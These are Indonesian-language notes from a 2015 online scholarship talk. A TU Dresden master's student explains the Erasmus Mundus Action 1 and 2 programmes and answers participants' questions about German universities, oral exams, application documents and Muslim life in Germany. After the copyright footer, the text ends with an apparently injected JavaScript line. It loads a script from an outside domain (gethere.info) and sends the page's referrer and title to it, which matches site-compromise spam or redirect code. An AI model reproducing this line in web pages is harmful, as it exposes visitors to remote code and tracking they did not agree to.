Scholarship Talk #3 Sahabat Beasiswa Chapter Depok

 Depok 3

🚨 NOTULENSI 🚨
SCHOTALK #3 SB CHAPTER DEPOK
” STUDY IN GERMANY WITH SCHOLARSHIP “

👦 PERKENALAN
Assalamualaikum. Hallo perkenalkan semua. Nama saya Adrian Nuradiansyah.
Lahir di Jakarta, 29 Agustus 1992. Tinggal di Depok dari kecil. TK-SD-SMP-SMA-S1 semuanya di Depok hehe.
S1 saya dulu di Fakultas Ilmu Komputer Universitas Indonesia. Angkatan 2010.
Saat ini saya sedang mengambil S2 di Technische Universitaet Dresden, Dresden, Germany. Jurusan Computational Logic, Fakultaet Informatik.  Alhamdulillah untuk studi ini saya diberi kesempatan untuk memperoleh beasiswa dari Erasmus Mundus Action 2 selama dua tahun dari 2014 hingga 2016.

📝 PEMAPARAN MATERI
1.  Apa itu Erasmus Mundus dan Mengapa saya memilih Erasmus Mundus?
Definisi, Visi dan Misi Erasmus mundus itu sendiri tentunya bisa teman-teman googling sendiri dan jawaban yang diperoleh mungkin lebih memuaskan hehe. Tapi kalau dari saya, mungkin akan lebih spesifik tntng mengapa lembaga Erasmus ini yang dibentuk oleh Uni Eropa mau memberikan dana yang besar tentunya kepada mahasiswa asing untuk studi di Eropa.
Jawabannya sederhana bahwa mereka ingin adanya pertukaran ilmu dari Eropa ke region yang lain. Itu tujuan dasarnya.
Sehingga, pada awalnya Erasmus Mundus itu merancang jenis studi untuk scholarnya adalah dengan berpindah dari satu kota ke kota yang lain selama periode studi tersebut. Dengan harapan ilmu yang diperoleh tentang apa itu Eropa bisa utuh dan menyeluruh. Jadi tidak hanya 1 negara saja.
Namun saya tidak seperti itu hehe. Mengapa?
Oke, jadi begini saya jelaskan bagaimana Erasmus Mundus membagi-bagi jenis beasiswanya :
– Action 1 dibentuk oleh suatu konsorsium dengan program studi yang telah ditetapkan. Setiap konsorsium terdiri dari beberapa universitas. Setiap universitas memiliki andil untuk melibatkan studentnya belajar di universitas tersebut, sehingga setiap student dapat berpindah-pindah kota, umumnya per semester, untuk belajar di universitas2 tersebut. Jadi definisi konsorsium yang ada di action1 itu adalah suatu organisasi yang punya tujuan dan latar belakang studi pertanyaan.
Misalkan konsorsium IT4BI itu adalah konsorsium yang menyediakan studi tentang Business Intelligence. Atau konsorsium FRM (kalau tidak salah, saya lupa singkatannya). Itu menyediakan studi untuk flood management, dll.
Berikut link tentang action 1
http://eacea.ec.europa.eu/erasmus_mundus/results_compendia/selected_projects_action_1_master_courses_en.php
– Action 2 juga dibentuk oleh suatu konsorsium. Namun, student hanya diberi kesempatan untuk studi di satu universitas selama periode studi tersebut.  Saya termasuk scholar yang mengambil beasiswa action 2 ini sehingga saya hanya belajar di satu kota saja selama dua tahun ini, yaitu di Dresden, Germany. Jadi ya seperti kuliah pada umumnya. Tidak berpindah2 ☺ Manfaat dari tidak berpindah2 selama studi ini adalah kita jadi bisa lebih fokus dalam hal adaptasi untuk suatu kota maupun studi dan bisa memperkuat jaringan riset atau studi kita di universitas tersebut secara bertahap di setiap semesternya. Kalau action 2 konsorsiumnya itu punya 1 tujuan tapi tidak ada batasan harus punya tujuan dan latar belakang studi yang sama. Sehingga mahasiswa yang ingin bergabung dengan konsorsium itu, bisa memilih universitas dan program studi mana yang disuka.
Lalu ini link tentang action 2:
http://eacea.ec.europa.eu/erasmus_mundus/programme/action2_en.php
– Action 3 saya kurang tahu apakah action 3 juga menyediakan beasiswa untuk kegiatan studi atau tidak. Saya juga baru tahu beberapa hari ini
Linknya http://eacea.ec.europa.eu/erasmus_mundus/results_compendia/selected_projects_action_3_national_structure_en.php
Oke, lalu mengapa saya memilih Erasmus mundus?
1. Tentu, biaya beasiswa yang diberikan cukup besar apalagi untuk tinggal di kota yang sangat sederhana, kecil, murah, layaknya Lembang, yaitu Dresden hehe.
Alhamdulillah sudah mencakup asuransi, travel cost, dan di beberapa kesempatan saya bisa mengikuti student workshop tanpa mengeluarkan biaya.
2. Tidak adanya ikatan kerja setelah lulus juga memberi keuntungan dan kebebasan bagi saya nanti untuk memilih langkah selanjutnya setelah lulus hehe/
3. Dan tentunya nama besar serta jaringan Erasmus mundus sendiri yang sudah cukup terkenal.
Adapun alasan memilih negara tujuan studi itu relatif ya. Maksud saya tujuan orang studi itu kan beda2. Ketika anda studi di luar negeri, mana yang ingin diprioritaskan?
1. Ada yang lebih baik mencari pengalaman studi dan riset di negara tersebut, sehingga belajarnya sungguh2 banget. Bahasa jaman sekarang anaknya ambisius banget gitu lah ya haha
2. Ada juga yang ingin mencari pengalaman “jalan2″nya itu untuk melihat budaya dan sosial di negara2 eropa
3. Ada yang ingin mengombinasikan keduanya
4. Dll
Nah saya lebih cenderung pilih yang ketiga. Memprioritaskan studi tapi tentu jangan ketinggalan pengalaman untuk “jalan2” itu. Karena “jalan2” dan melihat budaya di suatu negara eropa itu juga studi dan PENTING BANGET. Saya kapitalkan ya hehe
Oke, demikian tentang pengenalan erasmus dan juga alasan dibalik mengapa saya tertarik beasiswa erasmus 🙂

📲 Q&A SESSION
1⃣ Anisa – Universitas Indonesia
Di jerman kampus yg bagus untuk S2 Business Administration atau Management itu univ apa aja? Dan yang bisa pake erasmus mundus diantara univ2 itu yg mana hehe
📌 Untuk Anisa, saya sejujurnya kurang tahu bagaimana mendefinisikan bagusnya itu hehe. Nah untuk business administration atau management yg sejenis erasmus di Jerman saya juga kurang tahu.
Tapi ada teman saya yang belajar di Bonn dengan studi Agribisnis dan dia dapat Erasmus juga. Oh ya tadi nama universitas di Bonn nya adalah rheinische friedrich wilhelms university bonn. Tapi mungkin bisa dilihat di link berikut
http://www.studying-in-germany.org/top-german-universities-to-study-business-administration/

2⃣ Risna_FE Unpad
Assalamu’alaikum
Mau nanya ada kendala ngga pas penyesuaian diri di Jerman? Pertanyaan selanjutnya, Saya kuliah jurusan Ekonomi pas S1, kampus mana ya kira2 di Jerman yang cocok untuk jurusan ekonomi?
📌 R. F. Wilhelms university juga bagus kok untuk studi ekonominya
Kira2 bagaimana penyesuaian diri studi di Jerman?
Nah ini pertanyaan yang menarik karena bisa satu jam sendiri mungkin. Terus ujung2nya nanti motivasi ala Mario Teguh haha
Studi di Jerman itu “Bermain dengan Mental” hehe. Jeng jeng langsung serem.
Tapi ini jujur, teman2 saya, yg tidak hanya orang Indonesia saja, juga merasakan bagaimana besarnya tantangan dan adaptasi studi disini. Karena memang agak berbeda bagaimanaa gitu jika dibandingkan di Indonesia
Saya ngomong begini bukan nakut2in, tapi persiapan mental dan pikiran sebelum studi di Jerman itu juga dibutuhkan. Jadi tidak hanya melihat “Keindahan jerman dari sisi budaya dan sosialnya semata” tapi juga apa yang harus dipersiapkan.
1. Di Jerman, hampir 100% penilaian untuk suatu mata kuliah itu hanya bergantung dari ujian akhir. Ini mungkin saya tekankan di awal. Karena ini memang penilaian yang agak berbeda secara umum dengan apa yang kita peroleh di Indonesia.
Jadi ujian yang hanya beberapa menit itu benar2 menentukan nilai akhir teman2 selama 1 semester disini. Hal yang tidak mudah pertama2 untuk beradaptasi, tapi ya kalau istiqomah semua ya insyaAllah bisa berjalan dengan lancar hehe
2. Di jerman, juga tidak ada kewajiban untuk masuk kelas sehingga nilai partisipasi, absensi tidak berlaku haha. Kesempatan mengulang hanya tiga kali saya bahkan dalam periode.
Jadi belajar sungguh2 itu jadi salah satu modal yang harus kita punya.

3⃣ Mita_Bio_UI
Malam kak adrian, mau tanya tentang jurusan. Kalau di dresden ada bidang computational linguistic nya ga?
Kalau di jerman, universitas manakah yg risetnya paling berkembang utk bidang computational linguistic nya?
📌 Malam juga Mita. Di TU dresden ada kok jurusan yang membahas computational linguistic juga, spesifiknya untuk studi seperti machine learning, bioinformatics, NLP, dan sejenisnya.
Berikut linknya
http://www.biotec.tu-dresden.de/
Kalau mau yang lebih kece lagi bisa dibuka di Max Planck Institute for Computer Science. Itu di Saarbrucken. Mereka juga mempelajari computational linguistic bahkan ada program bioinformaticsnya yg sangat bagus.
Berikut linknya
https://www.mpi-inf.mpg.de/home/
Bicara riset di kedua univ ini wah sungguh baguslah pokoknya. Riset di Jerman dananya lancar dan cair terus kok hehe
Tapi sekali lagi itu yg saya tahu secara detil. Karena computational linguistic sendiri juga cukup luas menurut saya.

4⃣ Riksa_UI
Kalo mengenai peluang tembus erasmus gimana ka ?
📌 Halo Riksa, peluang saya tidak tahu berapa persennya. Karena kita hanya berusaha, Tuhan yang menentukan hehe.
Persaingan tetap besar dan kompetitif kalau di erasmus ini. Karena banyak komponen juga yang dinilai

5⃣ Ditya_Universitas Negeri Surabaya_Surabaya
Pertanyaan saya, kalau boleh tau kak Adrian lulus kapan? Dan persiapan utk Erasmus sudah sejak kapan? Persiapan yg penting kira2 apa ya kalau menurut kak Adrian?
📌 1. Saya lulus secara formal Agustus 2014. Berangkat S2 nya September 2014
2. Persiapan sudah dari Januari 2014.
3. Persiapan itu dilihat dari komponen apa saja yang mau kita submit saat daftar beasiswa/program studi
– Motivation letter: Carilah senior terdekat anda yang berpengalaman di bidang beasiswa dan mau menyediakan waktunya juga utk menjadi proofreader buat motivation letter kita. Cc: Bang Radyum #uhuk
– IELTS/TOEFL: carilah lembaga bahasa inggris yang menyediakan persiapan ielts dan toefl yang bagus tentunya
– IPK: Ya belajar sungguh2 hehe. Tidak ada kata lain selain itu. Karena itu juga jadi salah satu komponen yang dinilai.
– Recommendation letter: bangun dan pererat hubungan dengan dosen atau professor yang kita kenal di jurusan S1 kita
– CV: carilah pengalaman sebanyak2nya. Jadi tidak hanya studi di dalam kelas, tapi juga organisasi, kegiatan sosial, dll itu juga diperbanyak

6⃣ Maftuhah_PNJ_TE
Kak kalo di jerman buat s2 terapan tuh banyak ya? Kalo menurut kk kira2 yg cocok buat lulusan indo yg mana? Mungkin temen kk ada yg s2 terapan disana, pengen tau dong kak ceritanya sedikit
📌 Oke, halo Maftuhah. S2 terapan ya banyak memang di Jerman.
Saya kurang tahu cocok untuk hal apanya ya? Jurusannya gitu? Universitasnya? atau Kotanya? hehe
Oke, S2 terapan yang saya tahu banget itu jurusan Hydroscience. Lagi2 di TU Dresden. Karena itu yang paling dekat dengan saya dan banyak teman2 indonesia yang kuliah disini.
Oke jadi gini. Saya ambil 1 contoh studi aja ya hehe. Hydroscience menurut saya menarik ya karena dari namanya ya dia belajar ilmu pengairan dan saya rasa ini menarik untuk permasalahan yang juga kita hadapi di kota2 besar di Indonesia, khususnya tentang banjir. Dan implementasi studinya ini juga melibatkan pemrograman dan komputasi.
Bahkan mereka juga belajar tentang bagaimana Sungai Elbe sewaktu mengakibatkan banjir di Jerman timur dan sekitarnya 3-4 Tahun yang lalu kalau tidak. Ini sungai yang mengalir dari Utara dan Timur di Jerman.
Jadi menarik menurut saya keragaman ilmu yang dipelajari tidak hanya dari sisi pengairannya saja, tapi juga ilmu2 lain seperti pemrograman bahkan studi banding pengairan juga. Bahkan yang ingin hydroscience di bidang erasmus, ada juga studi banding hingga ke USA tiap tahunnya
Ya itu salah satu contoh, semoga contoh ini bisa menyeluruh untuk jurusan2 yang lain 🙂

7⃣ Luthfir Rahman_Matematika UI
1. selama kuliah di jerman, kegiatan perkuliahan menggunakan bahasa inggris atau bahasa jerman ? kalau bahasa inggris bahasa inggrisnya kayak gimana ? maksud saya ada bahasa inggris british, american, singlish dlsb….apa ada aksen sendiri ?
2. kenapa bisa memilih S2 di Master Student of Computational Logic, Technische Universität Dresden , rekomendasi dari dosen atau bagaimana ? dan apa pertimbangannya kuliah di jerman ?
3. Pada saat mencari kuliah di jerman, perlu semacam agen ( orang ketiga ) untuk mendampingi di jerman ? seperti semacam delegasi resmi dari KBRI untuk menemani adrian untuk membiasakan diri selama di jerman….
4.UTS dan UAS bagaimana ? apakah take home test atau mengerjakan di kelas ?
5. Dosennya ngasih nilai subjektif atau objektif ? soalnya saya pernah melihat update status yang kuliah di skotlandia ada dosen yang ngasih nilai subjektif, saya tidak tw berapa banyak tapi ada….
Halo Luthfir,
📌 Halo, Luthfir.
1. Kalau saya hanya menggunakan bahasa inggris saja. Karena ya memang kelas internasional dan program erasmus umumnya memang mengajarkan siswanya dalam bahasa inggris.
Bahasa inggrisnya asyik kok orang jerman. Ya bener2 masih bisa kita terima. Apalagi kalau di jerman timur, masih banyak yg tidak lancar bahasa inggrisnya. Jadi masih bisa kita dengar dengan baik. Umumnya orang jerman itu kalau bicara sangat jelas per katanya kalau bahasa inggris.
Belajar bahasa jerman itu juga saya sarankan karena ya kalau mau belanja, mesen tiket ke supir bus, mesen lapangan buat futsal, dll kalau bisa ya bahasa jerman juga hehe
2. Kenapa bisa? Karena saya memang suka programnya. Ini bisa 1 jam sendiri sebenarnya haha. Tapi computational logic merupakan jurusan di bidang computer science yang sangat spesifik bicara tentang matematika dan teori. Lalu riset tentang program ini pun, masyaAllah, besar banget. Saya ga paham lagi. Tiap tahun hampir selalu ada produk atau penemuan yang dikeluarkan. Jadi itu memotivasi sekali.
Apalagi jaringannya sudah cukup besar dengan universitas saya sebelumnya, jadi ya itu menjadi motivasi tambahan.
Ya dapat rekomendasi dari Dosen.
Mengapa kuliah ini di Jerman? Karena memang hanya Univ TU. Dresden ini saja yang sangat concern dan memfasilitasi studentnya dgn sungguh2 di bidang computational logic
3. Tidak ada kok agen ketiganya. Sudah banyak orang2 indonesia juga di dresden yang mau menemani 🙂
4. Tidak ada UTS. Semuanya UAS. Dan tidak ada take home. 100% ke ujian akhir 🙂
5. Jadi umumnya ujiannya yang saya alami oral exam. Dan saya harus bisa menjelaskan teorema ini itu secara gamblang. Dan ya mereka murni dari hanya itu saja menilai kita. Jadi cukup objektif menurut saya

8⃣ Nunung_UI
Terima kasih Kak Adrian atas sharingnya🙏 Saya ingin bertanya menurut kak Adrian jurusan MA Management Development di RU Bochum baguskah? Kebetulan saya mencoba apply DAAD, ada satu syarat yang blm lengkap yakni Secondary School Certificate..ini harus di terjemahkan kah? Kalau boleh sharing kak Adrian dulu dimana mencari penerjemah tersumpahnya..
Terus bagaimana kehidupan muslim di Jerman? Terima kasih banyak Kak🙏😃
📌 Oke halo Nunung,
Jujur saya kurang tahu jurusan MA management development sebagus apa. Saya coba carikan juga teman yang kompeten disana karena ada yang kuliah di Bochum juga
Kalau saya terjemahannya di lenteng agung seinget saya. Itu ada lembaga penerjemah bahasa inggris gitu. Saya lupa berapa harganya.
Terus, kehidupan muslim di Jerman? Woow. Ini luar biasa ini pertanyaannya. Kalau saya terlalu bersemangat, bisa tabligh akbar entar haha
Di jerman secara menyeluruh bagus ya. Maksudnya ada organisasinya. Namanya Forkom Jerman. Bisa diliat di webpagenya. Itu organisasi islam indonesia di Jerman. Bahkan di berlin . Ikatan muslimnya juga namanya IWKZ.
Di kota saya juga alhamdulillah rutin, ada pengajian tiap minggu, tiap bulan juga ada.

9⃣ Harmita_Bio_UI
Kalau boleh tahu.. waktu s1 dosen pembimbing nya siapa kak? 😁
Kalau universitas yang risetnya paling bagus di bidang question answering system di mana ya kak? 😁
📌 Oke halo Harmita,
Dosen pembimbing saya dulu Pak Indra. Saya ga tau harmita kenal atau tidak hehe
Kalau QA system, saya gatau spesifiknya dimana. Cuma sejauh pengalaman saya, Max Planck itu sudah sangat bagus di bidang computational linguistic. Salah satu research group nya
Di unniversitas Bonn juga ada yang bagus kok utk QA systemnya, spesifik ke web data
http://wdaqua.informatik.uni-bonn.de/

🔟 Ditya_UNS
Univ yang cocok untuk sarjana lulusan LPTK kira2 apa kak? Misal Pend. Matematika, Fisika, dll
📌 Oke halo Ditya,
Lagi2 saya kurang tahu ya kalau yang spesifik dan bagus dimana. Tapi professor yang lagi saya sekarang ini dulu juga studi tentang keguruan di bidang matematika dan fisika. Dan itu ada di TU Dresden juga

1⃣1⃣ Anisa – UI
Ada rekomendasi website2 yang biasa kakak kunjungi dan pelajari untuk persiapan kuliah di jerman ga?
Website ttg apapun yg dulu suka Kak Adrian buka, danke schön
📌 Ini bisa jadi referensi buat teman2 untuk perbandingan jurusan dan universitas di jerman
http://www.hochschulkompass.de/home.html

🎈CLOSING STATEMENT
Ya pilih jurusan yang anda sukai, jika sudah menyukainya maka buatlah persiapan yang sebaik mungkin. Itu sudah saya deskripsikan persiapan apa saja di message sebelumnya.
Belajar sungguh2, banyak berdoa, dan bangun jaringan atau koneksi yang lebih kuat lagi 🙂
Belajar sungguh2: Ingat diri sendiri
Bangun jaringan/koneksi: Ingat orang2 di sekitar kita
Banyak berdoa: Ingat Sang Pencipta kita 🙂

=====================
Sabtu, 12 Desember 2015
Tim Schotalk SB Chapter Depok
© Sahabat Beasiswa Chapter Depok

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;